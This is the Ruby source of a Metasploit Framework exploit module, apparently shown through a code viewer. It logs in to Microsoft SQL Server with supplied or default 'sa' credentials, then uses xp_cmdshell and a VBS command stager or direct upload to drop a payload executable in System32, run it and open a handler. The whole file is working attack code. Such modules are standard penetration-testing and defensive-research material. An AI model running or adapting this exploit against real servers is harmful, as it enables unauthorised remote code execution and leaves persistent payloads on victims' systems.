90 lines
2.5 KiB
Ruby
90 lines
2.5 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::MSSQL
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include Msf::Exploit::CmdStagerVBS
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#include Msf::Exploit::CmdStagerDebugAsm
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#include Msf::Exploit::CmdStagerDebugWrite
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#include Msf::Exploit::CmdStagerTFTP
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft SQL Server Payload Execution',
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'Description' => %q{
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This module will execute an arbitrary payload on a Microsoft SQL
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Server, using the Windows debug.com method for writing an executable to disk
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and the xp_cmdshell stored procedure. File size restrictions are avoided by
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incorporating the debug bypass method presented at Defcon 17 by SecureState.
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Note that this module will leave a metasploit payload in the Windows
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System32 directory which must be manually deleted once the attack is completed.
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},
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'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', 'jduck' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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# 'sa' password in logs
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[ 'CVE', '2000-0402' ],
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[ 'OSVDB', '557' ],
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[ 'BID', '1281' ],
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# blank default 'sa' password
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[ 'CVE', '2000-1209' ],
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[ 'OSVDB', '15757' ],
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[ 'BID', '4797' ],
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[ 'URL', 'http://www.thepentest.com/presentations/FastTrack_ShmooCon2009.pdf' ]
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],
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'May 30 2000'
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))
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register_options(
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[
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OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
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OptBool.new('UseCmdStager', [ false, "Wait for user input before returning from exploit", true ]),
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])
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end
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# This is method required for the CmdStager to work...
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def execute_command(cmd, opts)
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mssql_xpcmdshell(cmd, datastore['VERBOSE'])
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end
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def exploit
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if (not mssql_login_datastore)
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print_status("Invalid SQL Server credentials")
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return
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end
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# Use the CmdStager or not?
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if (not datastore['UseCmdStager'])
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exe = generate_payload_exe
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mssql_upload_exec(exe, datastore['VERBOSE'])
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else
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execute_cmdstager({ :linemax => 1500, :nodelete => true })
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#execute_cmdstager({ :linemax => 1500 })
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end
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handler
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disconnect
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end
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end
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